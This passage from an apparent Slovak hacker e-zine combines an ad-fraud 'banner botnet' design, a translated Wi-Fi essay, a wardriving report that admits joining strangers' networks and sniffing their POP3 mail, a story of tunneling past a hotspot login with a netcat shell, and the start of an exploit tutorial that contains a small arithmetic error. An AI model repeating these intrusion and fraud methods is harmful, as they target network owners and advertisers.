vsetku reklamu a citali naozaj len tie informacie, ktore vas zaujimaju.
pre zadavatela reklamy aj pre prevadzkovatela sajtu je teda problemom, ci sa
niekto na reklamu pozera (zadavatel reklamy to vidi v statistikach, co ak sa
vsak tieto blokovace reklamy rozsiria natolko, ze na reklamu uz nebude pozerat
takmer nikto?). zadavatel reklamy si vsak logicky musi polozit dalsiu otazku
— je prijemca reklamy clovek alebo stroj?.
otazka moze zniet hlupo, no reklamny obrazok si vacsinou vyziada stroj, je
vsak na nom, ci obrazok zobrazi. mozno si dany obrazok ani neziadal zobrazit
ziadny clovek. a tu je kamen urazu. podla coho plati zadavatel reklamy za
zobrazene impresie, ked v podstate nemoze vediet, ci reklamu naozaj vidi
clovek?
banner botnet
skusme si teraz v hlave naprogramovat jednoduchu siet ,,pozeracov a
odklikavacov” bannerov. cielom siete je nazbierat clenom dostatok kreditov v
reklamnom systeme. niekolko nezavislych serverov sa bude starat o menezment
impresii. klient si vytvori na danom serveri konto. jeho klientsky program sa
s tymto kontom pripoji na server a dostane informaciu o obrazku, ktory ma
requestnut (vratane hlaviciek, ktore ma poslat). s istou pravdepodobnostou
(0.1-1.5%, co je bezny pomer odkliknutia banneru) mu zaroven prikaze po istom
case vyziadat si ine url (odkliknutie banneru). za kazdy takyto ukon dostane v
banner botnete jeden kredit. v kliente si nastavi url banneru, ktory chce,
aby mu ostatni clenovia pozerali a pripadne odklikavali. teda za kazde
vyziadanie banneru si jeho banner ,,pozrie” niekto iny. v statistikach
reklamneho systemu sa nebude diat nic nezvycajne — pomerne pomaly nastup
poctu impresii. klientovi, ktory takto ,,pozera” programovo cudzie bannery
zacne rast kredit v reklamnom systeme (pretoze cely svet mu klika na bannery).
to, ze niekedy ten kredit znamena peniaze ani nebudem spominat.
samozrejme, najdu sa taki nepodstivi medzi nepodstivymi, ktori by chceli
dostavat kredit a nic neodklikavat a nerequestovat. preto server s istou
pravdepodobnostou posle linku na iny spriazneny server, ktory dane odkliknutie
overi a v pripade, ze k nemu nedoslo, klientov ucet zakaze.
v podstate jediny sposob, ako sa vymenny reklamny system moze dozvediet o tom,
ze niekto takto funguje (pri este vacsom a detailnejsom domysleni, ako tu
popisujem), je stat sa sucastou banner botnetu.
aj ked to mozno bude zniet zvlastne, v pripade, ze by sa taketo nieco stalo,
cely system bannerovych reklam (ak niekto nenajde nejake ine riesenie, ktore
by znemoznilo takyto sposob fungovania) by sa s banner botnetom zacal stale
viac a viac potapat. cena za impresiu by klesala (kedze by sa stale zvysovala
pravdepodobnost, ze si k cloveku cestu nenajde) a casom by sa tento system
cely sam potopil.
zo zaciatku by bol vsak pre ,,clenov” velmi vyhodny, pretoze by im pomohol
skoro zadarmo (teda za pripojenie) zarobit dost impresii a ziskat reklamu na
svoje stranky. ak by nepremenil svoje stranky na iny druh zisku (napr. z
ponukania tovaru alebo informacii), mohol by zarobit predanim impresii.
buducnost internetovej reklamy
nie som jasnovidec, no v pripade, ze sa takato moznost uplatni a reklamne
agentury a zadavatelia reklamy si tuto hrozbu uvedomia, reklama na internete,
ako ju pozname teraz (a hlavne platenie za nu) uplne zanikne. pretransformuje
sa na iny druh reklamy, ktory sa takto oklamat neda — na reklamu druhu
,,podiel z predanych vyrobkov, ktore zakupil zakaznik ktoreho ziskala reklama
na danej stranke”. v tomto pripade vyhra zadavatel reklamy a aj zakaznik —
poskytovatel obsahu bude reklamu viac cielit — nie podla zadavatela, ale
podla toho, co si mysli, ze sa bude dobre predavat a co si mysli, ze by daneho
zakaznika mohlo zaujimat. pretoze v tomto pripade bude mat prevadzkovatel
stranok zaujem na tom, aby uzivatel nasiel to, co hlada. predstavte si to,
ziadne reklamy typu — otvorili sme aupark na kazdej stranke. na pocitacovych
strankach bude pocitacovy tovar. uz prevadzkovatel stranok sa vam bude snazit
vybrat dobru a vyhodnu ponuku, pretoze bude vediet, ze v inom pripade si nic
nekupite.
vacsie problemy bude mat v tomto pripade prevadzkovatel stranok — jeho zisk
bude zalezat predovsetkym od neho — nie od poctu impresii, ale skor od
sposobu, akym dokaze predat tovar. v pripade, ze sa mu to podari, moze naozaj
dost slusne zarobit. v pripade, ze nie, ma smolu (a to mohol poskytovat aj
naozaj zaujimave a cenne informacie, len nevedel predat ziadny tovar a
nenasiel iny sposob financovania — napr. predplatne, poskytovanie rozsirenych
sluzieb a ine).
zaver
bohuzial, neviem, ci vysledok tohto vsetkeho bude dobry alebo zly. naozaj to
neviem predpovedat. je dost mozne, ze mnozstvo dobrych sluzieb skrachuje. v
pripade, ze by tento scenar naozaj niekto zrealizoval, asi by malo vela
stranok financne problemy hlavne v case transformacie reklamneho trhu a najma
v tomto case by si mali asi hladat aj vedlajsi zdroj prijmov. prijmy z
impresii uz zdaleka nebudu primarne.
je mi naozaj luto, ze sa vzdalujeme od casov, ked na internete bolo vsetko
zadarmo a bol produkovany nadsencami, ktori nieco chceli poskytnut svetu.
takyto internet bol najlepsi. teraz, v case korporacii asi dojde k roznym
zmenam. uvidime, ako sa to cele skonci.
juraj bednar, juraj(at)bednar.sk
navrat na obsah
Nicholas Negroponte vysvetluje preco Wi-Fi “lekna a zaby” pretvoria buducnost telco priemyslu.
Vsetko, co ste doteraz vedeli a predpokladali o telekomunikaciach je v pohybe a zmene. Velki kablovi aj bezkablovi
operatori budu nahradeni milionmi malych mikrooperatorov, ktori budu vtiahnuti do globalnej tovarne sirokopasmoveho
(broadband) pripojenia.
Preco by sa prave toto malo stat ? Nech sa paci, tu je cely pribeh.
Za poslednych 30 rokov, telekomunikacny priemysel presiel tromi velkymi zmenami, kazdu z nich mozno nazvat epochou. Ta prva
bola digitalizacia v 70tych rokoch. Tou druhou bol prichod technologie prepinania packetov (packet switching). Ta tretia bol
nastup bezkablovej komunikacie. Kazda z nich priniesla so sebou dramaticke inovacie. Prva odstartovala popri inom multimedia,
druha priniesla nepretrzite pripojenie a tretia funkcnu mobilitu. V kombinacii s deregulaciou telekomunikacneho priemyslu tieto generacne zmeny priniesli ludom viac sluzieb za nizsie ceny. Tento fakt je najviac viditelny pri mobilnych telefonoch/komunikacii, ktora mala obrovske kulturne dosledky vsade na svete.
hlasovo centricke 3G je prilis mala zmena
Na tomto pozadi aktualneho pokroku, dnesni mobilni operatori sa pripravuju na malu, skoro az irelevantnu zmenu, k prechodu na
tzv. 3G – tretiu generaciu mobilnych telefonov a komunikacie. 3G je prilis mala zmena a uplne postrada atributy generacneho
prechodu. V case, ked prenos dat stale narasta na vyzname je 3G stale hlasovo-centricka technologia, tym vznika riziko, ze sa
nikde nikdy uplne neusadi.
vodne lekna – skutocna nasledujuca generacia
Pocitacovy priemysel zacal pred niekolkymi rokmi vyvijat popri existujucich komunikacnych protokoloch a strukturach paralelnu
a na prvy pohlad nesuvisiacu aktivitu pre bezkablove lokalne pocitacove siete (LAN) nazvalnu 802.11. Povodny zamer bol
odstranit hrce koaxialnych kablov a nutnost v?tat diery a tahat kilometre kabelaze.
Pred piatimi rokmi som si nainstaloval bezkablovu siet (wireless LAN) u seba doma v Bostone. V tom case to stalo nieco okolo
$2,000 na zakladnu stanicu a $500 za kazde zariadenie, ktore som chcel pripojit. Dnes (v USA) su tieto ceny $120 a $50 a ceny
stale klesaju. Vysledkom je, ze tento druh konektivity zacal prudko rast a konzervativne odhady hovoria len v USA o 15
milionoch wi-fi pripojeni.
lenze dosah Wi-Fi nekonci pri stenach vasho domu
Lenze systemy 802.11 — dnes pristupne vo viacerych typoch vratane 802.11b vseobecne znameho ako Wi-Fi — nekoncia svojim
dosahom stenami Vasho domu. V zavislosti od materialov stien ma jednoduche Wi-Fi dosah az okolo 300 metrov. Odkedy zijem v
oblasti s vysokou hustotou ludi, moj system dosiahne mozno 100 susedov. Platim pausal a som rad, ze sa mozem o to podelit.
(kto by nechcel bezat na rovnakej sieti s Negropontem:))
Pretoze kusok nizsie na ulici, za dosahom mojho systemu iny sused nainstalovaj svoj. A kusok dalej dalsi a dalsi. Predstavte si to ako jazierko s jednym leknom, potom s dvomi a potom so styrmi, potom sa viacere prekryvaju a svojimi vyhonkami dosiahnu do Internetu. (Analogiu s leknami vymyslel Alessandro Ovi, technologicky poradca Romana Prodiho, prezidenta Europskej Komisie.)
Pozrite sa na cisla : 3G v najsilnejsich konfiguraciach slubuje rychlost prenosu dat 1 megabit za sekundu, niekedy za 2 roky.
Wi-Fi ponuka rychlost 11 megabitov v zaklade a v silnych konfiguraciach az 54 megabitov uz dnes. co myslite, ktory standard sa
uchyti ?
zaby : skacu cez navzajom prepletene lekna
V blizkej buducnosti kazdy Wi-Fi system bude pracovat aj ako maly smerovac (router), odpovedajuci najblizsim susedom. Data a
spravy mozu skakat systemom peer-to-peer ako zaby z lekna na lekno, vyhonky uz nebudu potrebne. Bude z toho sirokopasmovy
(broadband) telekomunikacny system vytvoreny ludmi pre ludi. Telekomunikacne spolocnosti o tomto fakte velmi dobre vedia ale
podcenuju ho s argumentom nedostatocneho pokrytia siete. Mylia sa.
system vytvoreny ludmi pre ludi
Tuto peer-to-peer strukturu robia zaujimavou 3 veci. Za prve, jej tlak a obrovsky rast sa v malom stale opakuju (viral).
Opakujuce sa male telekomunikacne siete su relativne novy fenomen, kde kazdy si vybuduje svoj maly system a pripoji ho do
siete podobnych. V case ked je telekomunikacny trh v krize a investicie donho su len tie najnutnejsie, tento fakt nadobuda na
dolezitosti.
Za druhe, vykon systemu rastie s poctom pripojenych uzlov. V dnesnych typickych mobilnych sietach rast uzlov (uzivatelov)
znamena viac interferencii a pokles kvality sluzby. Vo Wi-Fi topologii viac uzlov znamena kvalitnejsiu sluzbu.
A za tretie, je tu obava z elektromagnetickeho vyzarovania. Najma Europa je extremne citliva na nezname vplyvy
elektromagnetickeho smogu. Aj v USA je pocut hlasy, ze pravidelne pouzivanie mobilnych telefonov sposobuje rakovinu mozgu. Je
faktom, ze, ze topologia multi-hop sieti (ako je Wi-Fi) potrebuje menej energie, pretoze signaly idu do mensej vzdialenosti
(su to “slabsie vysielacky”). Vyplyva z toho, ze menej vysielanej energie znamena mensie zdravotne riziko.
rybnik : zmeni prud telco priemyslu
Dnesne spektrum mobilnej komunikacie je riadene ako trh nehnutelnosti, opatrne rozparcelovane vladami. Aktualne aukcie na 3G
licencie priniesli obrovske a nerealisticke ceny za tieto siete. Pridava sa k tomu este stary sposob myslenia, ze jednotlive
sG siete budu fungovat bez vzajomnych interferencii a s vlastou suverenitou (ako GSM).
Ale prichadzaju nove sposoby procesov v rybniku, pretoze vieme pridavat stale viac a viac inteligencie a sofistikovanosti
nasim leknam a zabam skakajucim medzi nimi. Pri pouziti menej energie za nizsich cien je mozne bezkablove spektrum vyuzit
daleko viac efektivnejsie. Velmi zaujimave su oblasti, ktore mozu byt volne vyuzivane kymkolvek na cokolvek bez nutnosti
licencie. Tieto relativne male kusky pasma (chunks of bandwith) rozprestrene cez rozne frekvencie su povazovane viacmenej za
“smeti”. Toto nelicencovane spektrum je vyuzivane na domacie cordless telefony, dialkove otvarace garazi, mikrovlnne rury a
velke mnozstvo dalsich nevinnych ale nepredvidatelnych pouziti.
ludia sa pri Wi-Fi experimentoch s rozprestretym spektrom CDMA naucili, ze na alokovanie (pridelovanie) frekvencneho spektra
sa mozno pozerat roznymi pohladmi. Mozno sa na ne pozerat ako na velke spolocne oblasti namiesto ako na male kusky. Striktne
hranice sa potom menia prijatelne obmedzenia. Aby nam taky system neprerastol cez hlavu a nevytvoril chaos, budu musiet
existovat obmedzenia, napriklad v mnozstve vysielanej ci pouzitej energie. Ale to je v poriadku – nikto nezacne kricat “hori”
v preplnenom divadle.
Realokovanie spektra nenastane za noc. Zamiesat obsadene elektromagneticke zony je rovnako komplikovane ako vyhladit cast
mesta, aby sa vybudoval novy park ci rekreacne centrum. Nove pohlady na tento problem maju rychlejsi efekt ak sa pozerame na
vyssie a vyssie casti spektra a pouzivame ho na kratsie a kratsie vzdialenosti.
pripojenie opakujuceho sa charakteru nelicencovaneho spektra
Tento novy sposob pohladu na pripojenie bude mat tiez vplyv na miesta, kde penetracia je bezkablovych technologii velmi mala –
paradoxne v oblastiach ozajstnych lekien a ziab, v odlahlych castiach nasho sveta. spinave male tajomstvo o 802.11b je, ze
moze dosiahnut pokrytie az 20 kilomtrov s patricne nastavenymi priamymi antenami. Predstavme si situaciu, ked bude dosah v
miestach, ktore nemaju dostatocnu komercnu hodnotu, aby tam bola zavedena klasicka infrastruktura. V tychto pripadoch sa
opakujuci sa charakter nelicencovanych telekomunikacnych systemov stane obrovskym hybatelom ludskeho vyvoja a zmeni vsetko, od
skostva az po zabavu, od nemocnic az po prenajmy priestorov. Ani by to nebolo prilis prekvapive.
nicholas negroponte (uverejnene vo wired)
navrat na obsah
uvod
kam sa hrabe rozvoj ethernetovych sieti spred par rokov proti momentalnemu boomu wifi networkov. to je znama vec. ale kolko toho presne poletuje v bratislavskom eteri a ako
je to zabezpecene – to sme len odhadovali. napad pobehat trochu blavu s wifi antenou v aute je pomerne stary, ale nikdy nebol cas alebo nalada spravit to. tak sme
konecne v polovici novembra dali dokopy vdacny trojlistok maniac/pajkus/antonio, nejaky ten hardware a vydali sa na nocnu jazdu po blave.
o niektorych lokalitach sme si mysleli ze budu prekypovat vzdusnym trafficom ale boli sme sklamani datovou pustatinou. na inych necakanych miestach sme zase
do minuty mali funkcnu IP adresu s pristupom na internet od nam uplne neznamych providerov, alebo sukromnych sieti. cielom nasho vyletu nebolo vytvorit komplexnu
mapu wifi sieti v bratislave, ale obehnut si zopar vytipovanych lokalit kde sme tusili ze sa mozu diat veci. a teda aj sa diali veci. ale pekne poporiadku, najprv popis nasej
vyzbroje:
vyzbroj
co sme mali so sebou:
system
aplikacie
co sme nemali so sebou a mali sme mat:
metodika
popri vychadzkovej plavbe s omni antenou na streche po bratislavskych
nocnych uliciach nam z casu na cas (dooost casto) do usi zapipal prijemny
zvuk netstumbleru, ktory oznamoval ze mame signal nejakej sietky. v pripade
ze signal stal za rec a nazov (essid) danej rybarskej siete naznacoval
zaujimavy ulovok, tak sme odparkovali nase mobilne sniffovacie laboratorium
a switchli sa do unixoidnejsieho prostredia kde sa predsa len citime
trosilinka komfortnejsie 😉 ono ten netstumbler pod ixpeckami sme pouzivali
prave koli tomu ze funguje pekne samostatne bez nejakej nutnej interakcie.
pod linuxom nam utilitka kismet pekne posniffovala traffic odohravajuci sa
na konkretnom 802.11b-ckovom kanaly, alebo sme cez kismet_hopper cyklicky
cuchali vsetky kanaly. nasledoval nas kamarat tcpdump, ktory porozpraval o
ip adresach, ktore na danej sieti komunikovali. obcas sme dokonca dostali
pomocou dhcp pridelenu ip adresu a gateway, tu musim poznamenat, ze ked som
bol obuty v xp-ckach a isli sme okolo ekonomickej fakulty BA, tak som sa az mykol
ked sa mi zrazu samo otvorilo icq a nabehol som online – darmo, eXPerience sa
nezaprie svojimi luserfriendly ficurami 🙂 no ale aby som presiel k teme,
tak pri tcpdumpe sme si vyhliadli nejake volne ipecky, domysleli si masku
siete a typli branu. samozrejme icmp-mask-request a nmap obcas zafungovali
tiez, ked uz dochadzala fantazia :)) v niektorych lokalitach fical naozaj
zaujimavy traffic a tak sme cez ethereal pokukali zopar pop3 paketov, ktore
smazili outlooky na workstejsnoch co ostali po firmach na weekend pozapinane…
zoznam skenovanych lokalit s poznamkami
nasleduje zoznam miest kde sme pobehovali s antenou. asi by bolo putavejsie pisat ich v chronologickom poradi podla toho ako sme ich obehavali, ale vobec si nepamatam
postupnost lokalit, kedze sme to rozdelili na dve noci a jazdili sme dost cik-cakovito. treba tiez povedat ze ziadnej sieti sme sa velmi zdlhavo nevenovali. skusili sme sa
prihlasit a po prihlaseni si tipnut alebo vysniffovat netmask a gateway.. kazdej sieti sme venovali tak maximalne minutku-dve. takze
ak sa povenujete konkretnej sieti dlhsie, pravdepodobnost je za dostanete dalej.. takze voila v kvazi-abecednom poradi:
statistika
skenovanim zopar vybranych lokalit v sirsom centre blavy sme nasli 143 wlan sieti.
z nich 26 bolo kryptovanych, co je len 18%; zvysnych 117 sieti bolo nekryptovanych.
z tych 117 zhruba na polovici sme vedeli byt aktivni bud automaticky pridelenymi dhcp udajmi, alebo
nakonfigurovanim ip adresy na zaklade tcpdumpu. zhruba na polovici sieti kde sme mohli
byt aktivni sme dokazali do par minut najst gateway alebo proxy von na internet.
zaverom
celkom sme sa bavili na tom ako nas okolo polnoci zastavila policajna hliadka
v okoli pionierskej ulice a snazili sa pochopit co nam to trci z auta 🙂
pohlad do auta plneho pozapinanych notebookov a kablov bol tiez iste zvlastny..
..nastastie boli policajti chapavi a nechali nas dokoncit nas “skolsky projekt” 😉
nuz ale, co dodat zaverom.. dnes v dobe handheldov s wireless interfejsmi a teenagermi, ktori si z
krabicky od Prinkles chipsov spravia yagi antenu by sme odporucali kryptovat
co sa len da. vid pripad “slavin”, kde sme sa bavili na tom ako sa jeden nas
znamy pokusa najst nejake mp3 na warezackych kanaloch na ircnete, svet je maly 🙂
ukazalo sa ze pripojit sa na internet pomocou bezdratovej siete je v bratislave velmi
jednoduche. je to ten najanonymnejsi sposob pripojenia na internet aky existuje. nikto
vas nikdy nevystopuje. je to anonymnejsie ako cez gsm, pevnu linku, alebo v internetovej
kaviarni s umelymi fuzami. takze ak sa chystate na ten tucny hack velkej banky (viz dva prielomy dozadu),
staci si sadnut s malym notebookom niekde na slavin..
..a naco slavin, mozete sa hrat priamo doma alebo trebars na hoteli. zaujimavu story o pripajani sa
na bezdrat v norsku poslal maniac mailom:
Nooo,
mali sme hotel asi 500m od istej telekomunikacnej budovy vo Furnebu.
Tak som vytiahol notebuk na izbe, ze xecknem ci mame signal
a viola, signal strength: Excellent.
Dokonca aj DHCP sa rozficalo, dostal som verejnu ip, nska a gateway.
Bol to adresny priestor Telenor Mobile. Samozrejme bolo to komplet
zafirewallovane a browser mi na akekolvek url hodil uvitaciu obrazovku TM s
tym ze mozem mat testovaciu prevadzku na dobu 3 minuty 🙂
Mali to dost advanced porobene, ziadne overflowy ani cross-site na to php
nezaberali. Nmapom som poscanoval pridelenu siet nasiel som tam este jednu
masinu – NTcka, ktore boli ale zaheslovane a nic sa s nimi nedalo riesit.
Pripomeniem ze prihlasovacia stranka TM bola na https.
Nasledne som zistil, ze kamkolvek spravim TCP konekt, dostanem odpoved asi
takuto: “http://10.0.10.1 HTTP/1.0”. Dokonca pri pokuse o konekt na 25 alebo
110, alebo 21 bol pred tym url este 2xx-tkovy kod danej sluzby.
Cize niekto sa s tym celkom dobre vyhral.. Ta aplikacia sa vola NOMAD.
Napadlo ma este skusit ci fici dnsko priamo zvonka. A fici! Takze dalsi den
ked sme boli v Telenore, tak som si na localhost.sk pustil na jednej z ipeciek
netcat na porte 53/udp, ktory pustal tcsh. Hladal som nejaky rozumny tunel
ale
nic som nenasiel, takze som ostal pri tom netcate. Problem bol v tom, ze som
mohol spravit len jeden konekt. Akonahle som sa diskonektol tak uz sa nedalo
pripojit druhy krat, NC ostal vysiet, cize sa to nedalo poriesit cez
inittab/daemontools. Takze na hotel som odchadzal s tym ze mam presne jeden
pokus (samozrejme aj to len v pripade, ze mi v tedy na izbe naozaj odpovedal
localhos.sk a nebol to len nejaky fake cez NAT alebo take volaco).
Takze pomocou nc som sa cez udp/sport53/dport53 pripojil na lhost priamo z
hotela 😉 Problem bol v tom ze som nemohol riskovat ziadne ctrl+c/ctrl+d a
pod.
Zaroven som mal klasicky bindshellovsky terminal, cize ziadny 🙂 V podstate
do stacilo na to aby som sa telnetom pripojil na irc resp ivan na talker.
No ale po chvili to chcelo troska vylepsit, aby sme mohli browsovat a tak 🙂
Spravil som pomocou styroch NC tcp->udp —– udp->tcp tunel 🙂 Zial nebolo
to dokonale a fical cez to len telnet, http proxy alebo ssh nie. Ale aspon
som mal uz full terminal na lhoste a mohol som volnejsie makat..
Vtedy mi maxo radil nejaky tunelovaci soft z mendrejku, ktory bol ale len
ako rpm cize nebol moc pouzitelny, tak som cez links a gugl hladal rozne
konbinacie udp+ppp tunelov a podobne. Nakoniec som sa rozhodol pre CIPE.
Takze som pustil druhy ncat na dalsej ipecke na lhoste, dalsi ncat na
notebooku a frcol som cez to take ze cipe.tgz. Na pocudovanie tento 200kb
fajl presiel asi za 2 sekundy 🙂 Nasledne po nastudovani instalacie a
konfiguracie som rozbehol cipe PTP udp tunel medzi notebookom a lhostom na
portoch 53/54 udp (54 na notebooku preto, lebo na 53 bezal ncat s tcsh).
Cize uz som mal full konekt na lhost ktory fical cez CIPE. Mohol som na
lhoste spustit NAT a na notebooku si cez policy routing naroutovat fsetko
cez cipe/lhost, ale na lhoste som mal problemy s natom (nebol povodne v
jadre)
takze som na lhoste zinstaloval squida a na notebooku nastavil proxac na
nejakej 192.168.0.2 co bol lhost.
Nasledne som uz len popridaval ciped do startovacich skriptov na lhoste a
notebooku, takze po reboote notebooku som mal hned konekt k plnej
spokojnosti a mohol som trackovat www/ftp a vsetko ostatne 😉
Prenosova rychlost bola okolo 260kB/s t.j. 2mbit/s . Stiahli sme si teda
nejake filmy, mp3ky a vobec 🙂
maniac
P.S. priamo vnutri fornebu mali vsade cisco 802.11 wifi APcka, maixmalny
pocet mi ich naratalo 15 v jednom meetingroome.
..no pekny zazitok z norska.. budeme velmi radi ak sa niekto chyti tych dat co sme dali dokopy a
rozsiri ich o poznatky vo svojej geografickej oblasti. vynechali sme cele velke casti blavy ako dolne hony, racu,
nove mesto, biskupice, devin, atd. teoreticky by slo potom takto nazhromazdene poznatky prezentovat
na hysterke vo forme akejsi mapy ci
databazy. no a samozrejme budeme velmi radi ak niekto preskenuje aj ine mesta.. urcite budu zaujimave
kosice, zilina, presov, no a samozrejme praha ci brno.. ak by niekto z prislusnych miest chcel pomoc s
metodikou ci hardwarom, ozvite sa na boarde a mozno si spravime prieskumny vylet do vasho mesta 🙂
ono v podstate vam staci jeden notebook, mala omni antena a sadnut si na mestsku hromadnu dopravu – vyberte
si nejaku linku ktora chodi krizom-krazom po meste.. 🙂
jo a mimochodom fotky z nasej jazdy su na http://hysteria.sk/prielom/pics/wifi-drive/
co nabuduce ? noo tu je nas maly “todo” zoznam veci ktore by sa mohli objavit v planovanom pokracovani tohto clanku v
buducom prielome:
..a tiez skusit tie kryptovane siete. treba sa pripravit – budu pribudat. takato eterova anarchia ktoru sme
zazili nemoze predsa trvat vecne, alebo ano !?
bezsnuram zdar !
antonio, antonio @hysteria.sk
navrat na obsah
Tento dokument sluzi ako uvod do problematiky vzdialenych a lokalnych exploitov. Hovori o vyuziti castych
programatorskych chyb, pisani programov pre vniknutie do systemu a o moduloch jadra ako maskovacom mechanizme hackera.
Obsahuje tiez strucny uvod do hackerskych utilit v UNIX-e. Ak ste uz ako-tak spoznali UNIX a chcete sa dostat hlbsie do
tmavsich zakuti, tymto dokumentom treba zacat.
Historia UNIXu
Unix je operacny system, ktory vznikol v roku 1969 v Bellovych Laboratoriach.
Najznamejsimi vyvojarmi pracujucimi na jeho vzniku boli Dennis Ritchie, Ken Thompson,
M.D. McIlroy a J.F. Ossanna. Mal byt odpovedou na vladou a armadou podporovany projekt
MULTICS, ktory sa ale opakovane omeskaval. Najskor bol pisany priamo v
assembleri pre PDP7 a az neskor (1973) v novovyvinutom programovacom jazyku “C”. To mu umoznovalo
velmi vysoku prenositelnost po implementovani jazyka C na inych architekturach ako DEC PDP7/PDP10.
Prvotnym zamerom horeuvedenych panov bolo vraj napisanie hry typu Space Invaders pre
nevyuzitu PDP7-cku.
Z povodneho UNIX-u sa vyvinulo mnoho vetiev. Vsetky maju ale zakladne prvky rovnake –
system sa sklada z jadra, pripadne modulov jadra, mnohych drobnych systemovych nastrojov a aplikacii.
K zariadeniam sa pristupuje pomocou specialnych suborov, zvycajne v adresari /dev.
System je dnes 32 (a viac) bitovy, viaculohovy (multitaskovy), podporuje vlakna (thready) – je preemptivny.
Vacsina implementacii UNIXu splna normu POSIX (Portable Operating System Interface).
Dnes sa z komercnych UNIX-ov najcastejsie mozeme stretnut so systemami ako Solaris (SUN
Microsystems), HP-UX (Hewlet-Packard), DIGITAL UNIX (TRU64-UNIX) (Digital/Compaq)
pripadne AIX (IBM). Z volne siritelnych unixovych operacnych systemov su to
najma Linux (mix vetiev BSD a SYSTEM V.) a Free BSD (BSD4.4 vetva).
Unix sa vyznacuje vysokou stabilitou, skalovatelnostou a rozsiahlimi moznostami konfiguracie.
Strojovy jazyk, jazyk symbolickych adries (assembler)
Strojovy jazyk je kod, ktory je nacitavany procesorom z pamate a nasledne vykonavany.
Je predstavovany bajtmi (byte), slovami (word) pripadne ich kombinaciami.
Su to kombinacie intrukcii a dat. Aby clovek, ktory chce ovladat procesor
na najnizsej urovni nemusel pracne pisat program v strojovom kode,
bol vyvinuty jazyk symbolickych adries – assembler. V tomto jazyku mozme pisat
program v cloveku zrozumitelnej forme a po preklade na binarny kod vykonavatelny procesorom.
Data (operandy) predstavuju bajty, wordy, doublewordy, pripadne este vacsie datove typy.
Byte ma tu vlastnost, ze sa da don ulozit cele cislo v rozsahu 0-255 (8 bitov).
V pripade ze je vysledok aritmetickej operacie vacsi ako 255 a ma byt
ulozeny do bajtu, vysledne cislo bude rovne vysledku operacie modulo 255,
teda nie cislo, ktore by sme mozno ocakavali :). Zaroven sa nastavi indikator
pretecenia (CF – Carry Flag). Toto je vlastne uplne najjednoduchsi priklad
pretecenia (overflow). Velkost wordu zavysi od architektury o ktorej sa bavime.
U wordu (v pripade 16 bit architektury) to je podobne, ale ukladane cislo moze
mat rozsah 0-65535 (16 bitov), doubleword predstavuje 32 bitov, quadword uz obsahuje 64bitov.
Pretecenie teda oznacuje operaciu (aritmeticku, ale aj logicku –
tj. integer nebo cast overflow), ktorej vysledok presiahne
moznosti pouziteho datoveho typu. Okrem aritmetickej a logickej operacie sa moze jednat
aj o blokovu operaciu vyuzivajucu buffer – tu sa potom hovori o tzv buffer overflow
(pretecenie vyrovnavacej pamate) a prave tato varianta bude casto spominana v tomto dokumente.
Priklad programu scitania v assembleri vyuzivajuceho volanie unixovej funkcie zobrazenia textu
na terminal – printf. Jedna sa o disassembling (spatne prelozenie) kodu vygenerovanego kompilatorom
gcc 2.95.3. K dissasemblovaniu bol pouzity debugovaci (ladiaci) program gdb verzie 5.0. Uvedene priklady
sa budu tykat architektury linux/i386 pokial nebude uvedene inac.
Jazyk C
Jazyk C bol vyvinuty ako UNIX tiez v AT&T; Bell Labs. Jeho tvorcom bol v roku
1972 Dennis Ritchie. C je na vyssej urovni ako assembler, ale stale na dostatocne
nizkej, aby mohol programator pisat velmi efektivny kod. Programator je
zodpovedny aj za integritu dat, samotny jazyk nerobi ziadne, alebo len
minimalne kontroly toho co programator napise. Casto sa tu pouziva vyraz
buffer, alebo pole. Jedna sa o suvisly blok pamate, v ktorom sa viac krat
vyskytuju data rovnakeho typu. Staticke buffre su pevne definovane v
zdrojovom kode a su alokovane pri nahravani programu v datovom segmente pamate.
Dynamicke polia su definovane cez pointre a su vytvorene pocas behu programu
v pridelenom segmente (pridelovanie zavysi od implementacie *alloc() v glibc).
Vdaka obmedzeniam statickych poli sa vo vacsine programov stretneme s ich dynamickou verziou.
Preto sa utoky vyuzivajuce modifikaciu zasobnika (Smashing the stack alebo stack
overflows) zaoberaju prave dynamickymi poliami.
V jazyku C sa casto vyuzivaju datove typy ako napriklad integer, char a podobne.
Tak ako v assembleri typ Word zalezal od architektury, tak je to v Cecku pri integeri.
Priklad programu scitania (zhodny s programom v assembleri):
UNIXove procesy a zasobnik (stack)
Bezici procesy na 32 bitovych intel systemech jsou zpravidla rozdeleny
na tri oblasti: text, data a stack. Na
zaciatku, pri spusteni programu sa oblast textu a dat nahra priamo do
aktivnej pamate. Data sa rozdelia na inicializovane data a neinicializovane
data oznacovane ako BSS. BSS data su umiestnene vyssie v pamati ako
inicializovane data, pricom oblast textu zaberie najnizsiu adresu
(najblizsiu k 0x00000000). BSS data niesu staticky ulozene v subore, pretoze
tato oblast byva alokovana blokom pamate vyplnenym nulami. V oblasti BSS
su ulozene informacie ako staticke premenne. Velkost datovej oblasti moze byt
modifikovana funkciou brk(), ktoru popisuje standart POSIX 2.9 (unistd.h).
V pripade ze bss-data alebo uzivatelsky zasobnik vyplitvaju pouzitelnu pamat,
beziaci proces je zablokovany a je naplanovne aby sa znova spustil s vacsim
mnozstvom pamate. Nova pamat je pridana medzi stackom a datovymi segmentami
v neinicializovanom regione.
Znazornenie UNIXoveho procesu v pamati (aktivny) a na disku (ulozeny).
Zasobnik sa jednoznacne lisi od textu a dat. Nadolezitejsie je, ze zasobnik je dynamicky
a urceny za behu, na rozdiel od statickych dat, ktore su jednoducho nahrane do pamate. S polozkami
zasobnika sa pracuje systemom LIFO (Last In, First Out).
Pri sputani a ukoncovani standartnej funkcie C musi byt volana procedura ‘uvod’ alebo
‘zaver’, ktore ulozia dosavadne premenne, vytvoria miesto pre nove premenne a vice versa
v pripade ukoncenia funkcie. Predchadzajuci FP (Frame Pointer) je ulozeny, vytvori sa novy FP
a SP (stack pointer) pracuje s ohladom na jeho nove lokalne premenne. Tu je priklad:
Tento kod ulozi 3 argumenty volanej funkcie odzadu do zasobnika a zavola function(). Instrukcia call
ulozi IP (nasledujucej instrukcie za call-om) na vrch zasobnika. To zabezpeci, ze ked skonci
podprogram, ktory bol zavolany a vykona instrukciu ret, nacita sa adresa IP zo zasobnika
a program bude pokracovat na danej adrese.
Prva vec, ktora sa udeje vo funkcii je procedura ‘uvod’:
Takto bude vyzerat blok pamate zahrnajuci uzivatelsky zasobnik:
Programatorske chyby
Historia zneuzivania programatorskych chyb.
Najznamejsie pripady zneuzitia buffer overrunov
Druhy programatorskych chyb
Fandango on Core
Overruns screw
Smashing, Trashing, Scribbing the Stack
Aliasing, Stale, Dangling Pointer Bugs
Bohr Bug
